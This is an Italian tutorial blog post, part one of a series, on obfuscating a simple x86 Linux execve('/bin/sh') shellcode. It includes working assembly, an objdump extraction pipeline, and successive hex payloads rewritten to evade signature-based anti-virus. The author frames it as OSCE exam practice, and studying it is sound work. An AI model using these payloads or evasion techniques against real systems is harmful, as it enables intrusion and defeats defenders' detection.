Vai al contenuto
Home » Come offuscare un semplice shellcode – parte 1

Come offuscare un semplice shellcode – parte 1

Una delle cose che mi è piaciuta di più, mentre preparavo l’esame per
OSCE,
esame che devo riprovare in questo inverno, è stata la parte di evasione dagli
anti virus.

Questo ha portato a far nascere il progetto
Shellerate, di cui ne ho parlato in
questp
post
.

Oggi parliamo ancora di offuscare uno shellcode, partendo da un esempio
semplice e proseguendo per passi successivi.

(Il codice utilizzato in questo post, e successivi, è presente in questo
repository Github
).

Trivia

Utilizzeremo una macchina virtuale Ubuntu 19.04 e compileremo il nostro
shellcode a 32bit con nasm:

nasm -f elf32 _nomefile_
ld _nomefile_.o -o _nomefile_ -m elf_i386

"Come

Perché offuscare il proprio shellcode?

Il motivo alla base di questa attività è quello di mascherare il codice che
vogliamo inserire all’interno di un exploit, per andare ad far eseguire del
codice arbitrario al nostro processo vittima.

Lo voglio mascherare per un semplice motivo, rendere la vita difficile a chi
analizza il codice dell’exploit o semplicemente per cercare di ingannare il
nostro anti-virus.

Shellcode di partenza

Lo shellcode di partenza è un semplice execve(“/bin/sh”, NULL, NULL). Il codice
assembler che la realizza è molto semplice, basta ricordare che nel registro
EAX deve essere il contenuto il numero della system call da utilizzare e che i
registri EBX, ECX ed EDX vanno utilizzati per i parametri da passare alla
chiamata.

In particolare EBX dovra contenere il puntatore alla stringa del comando da
eseguire, stringa che andremo a caricare nello stack; ECX ed EDX dovrebbero
contenere rispettivamente un puntatore alla lista degli argomenti del comando e
un puntatore alle variabili d’ambiente che si intende passare al comando. Nel
nostro caso possiamo risparmiare codice e dare un NULL come valore.

global _start                   

section .text

_start:
; Executing shell
; 
; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve() is defined as #define __NR_execve 11 on /usr/include/i386-linux-gnu/asm/unistd_32.h

xor eax, eax
push eax        ; The NULL byte
push 0x68732f2f ; "sh//". The second '' is used to align our command into the stack
push 0x6e69622f ; "nib/"
mov ebx, esp    ; EBX now points to "/bin//sh"

xor ecx, ecx
xor edx, edx
mov al, 0xB     ; 11 in decimal
int 0x80

Per trasformare il mio codice binario in un codice eseguibile che può essere
incluso poi in un exploit, utilizzo questo pipe di comandi che ho recuperato
tempo fa in Internet:

objdump -d _nomefile_ |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

La nostra shellcode di partenza è questa e non ha byte x00 che ne
impedirebbero poi l’utilizzo all’atto pratico all’interno di un exploit:

x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80

Qui vediamo la nostra shell originale in esecuzione ed è quello che vogliamo
ottenere da ogni codice offuscato, un prompt di una shell.

Primo passaggio: code refactoring

Nel primo passaggio di offuscamento, cambio il modo con cui i registri ECX ed
EDX sono inizializzati a 0.

Dopo aver inizializzato a 0 il registro EAX, ne salvo il valore all’interno
dello stack per 3 volte. Il primo sarà per costituire il terminatore di stringa
per il comando “/bin/sh”, mentre gli altri due saranno immediatamente consumati
da una POP per inizializzare i registri ECX ed EDX.

global _start			

section .text

_start:
; Executing shell
; 
; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve() is defined as #define __NR_execve 11 on /usr/include/i386-linux-gnu/asm/unistd_32.h

; first rewrite: we change the ecx and edx initialization to zero with push and
; pop right after eax is being set to 0

xor eax, eax
push eax	; The NULL byte
push eax	;
push eax 	; 
pop ecx		; ECX set to 0
pop edx		; EDX set to 0

push 0x68732f2f ; "sh//". The second '' is used to align our command into the stack
push 0x6e69622f ; "nib/"
mov ebx, esp	; EBX now points to "/bin//sh"

mov al, 0xB	; 11 in decimal
int 0x80

Codice esadecimale dello shellcode:

x31xc0x50x50x50x59x5ax68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80

Secondo passaggio: cambio meccanismo di inizializzazione

Nel secondo passaggio cerchiamo di complicare un po’ le cose visto che, come si
può vedere dall’equivalente esadecimale il primo passaggio non ha inciso
particolarmente.

Ora cambiamo il meccanismo con cui inizializziamo a 0 i nostri registri. Usiamo
la matematica per mettere a 0 il registro ECX, caricando un valore costante a
32bit e poi sottraendo lo stesso valore.

Con ECX a 0, possiamo impostare EAX ed EDX a 0 semplicemente invocando
l’istruzione
MUL che
moltiplica il valore in EAX con il valore passato per argomento, in questo caso
il valore del registro ECX e memorizzando il risultato della moltiplicazione in
EAX ed EDX.

Codice esadecimale dello shellcode:

xb9xefxbexadxdex81xe9xefxbexadxdexf7xe1x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80

Come si può vedere, in questo caso lo shellcode che otteniamo ha effettivamente
un aspetto diverso da quello di partenza. La strada è ancora lunca, ma stiamo
iniziando a rendere un po’ meno leggibile quello che vogliamo mettere nel
nostro payload.

Terzo passaggio: usiamo la matematica per /bin/sh

Quello che possiamo cambiare ora è il modo con cui salviamo nello stack il
comando da eseguire. Per ora facciamo delle PUSH passando la codifica
esadecimale di /bin/sh in modo tale che, quando verrà letta dallo stack, che
ricordiamo è una struttura LIFO (Last In First Out), verrà ricostruito in
maniera corretta.

Cambiamo quindi le PUSH in operazioni matematiche per valorizzare il registro
EAX al valore che voglio salvare nello stack. I numeri sono stati scelti a
caso, tranne ovviamente l’ultimo ADD per il quale siamo dovuti atterrare al
valore esagerato. Unico vincolo era quello di non causare un overflow del
registro EAX e di non superare il valore che voglio salvare nello stack per
evitare di dover utilizzare anche una SUB.

Quindi, ad esempio, l’istruzione push 0x68732f2f diventa:

mov eax, 0x11223344
add eax, 0x44332211
add eax, 0x11111111
add eax, 0x020cc8c9
push eax

Alla fine il valore del registro EAX sarà proprio 0x68732f2f.
Il mio shellcode in assembler diventa quindi:

Una volta compilato, ottengo il seguente esadecimale:

xb9xefxbexadxdex81xe9xefxbexadxdexf7xe1x50xb8x44x33x22x11x05x11x22x33x44x05x11x11x11x11x05xc9xc8x0cx02x50xb8xcdxabx34x12x05x23x23x23x23x05x12x12x12x12x05x2dx81xffx26x50xb8xefxbexadxdex25x10x41x52x21x89xe3xb0x0bxcdx80

Ad una prima occhiata è nettamente diverso dal codice di partenza anche se non
rappresenta alcuna difficoltà per un qualsiasi membro di un blue team.

Off by one

Offuscare il codice attraverso il refactoring e la riscrittura creativa di
istruzioni è una cosa estremamente divertente, che ci permette di ripassare il
nostro assembler e che ci permette di costruire un exploit con un payload che
difficilmente verrà rilevato da un approccio solamente basato su signature.

Nella seconda parte, continueremo il lavoro del nostro ufficio degli affari
semplici e andremo a complicare ancora di più il codice assembler della nostra
execve.

Enjoy it!

Lascia un commento

Il tuo indirizzo email non sarà pubblicato.